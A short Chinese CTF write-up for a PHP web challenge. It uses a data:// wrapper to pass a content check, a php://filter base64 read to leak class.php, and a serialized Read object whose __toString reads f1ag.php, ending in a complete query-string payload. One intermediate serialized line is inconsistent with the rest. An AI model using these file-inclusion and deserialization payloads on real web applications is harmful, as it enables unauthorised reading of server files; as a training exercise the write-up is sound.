ctf打卡第7天

打开网页,查看源代码是这样的
在这里插入图片描述
首先判断是否存在一个$user,并且读取文件===the user is admin
我们可以用php伪协议读取,他就会完整的等于文件内容
data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=
之后包含并且读取class.php
file=php://filter/read=convert.base64-encode/resource=class.php
获得文件

<?php
class Read{//f1ag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
?>

反序列化,让file的值等于flag.php即可

<?php
class Read
{
    public $file = 'f1ag.php';
}
$a = new Read();
echo serialize($a);

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
题目不全,类似题目第三题博客
pass=O:4:“Read”:1:{s:4:“file”;s:8:“f1ag.php”;}
所以终极payload:

?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:8:%22f1ag.php%22;}

flag就出来了,flag在源码里
今天就到这了,溜溜球

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值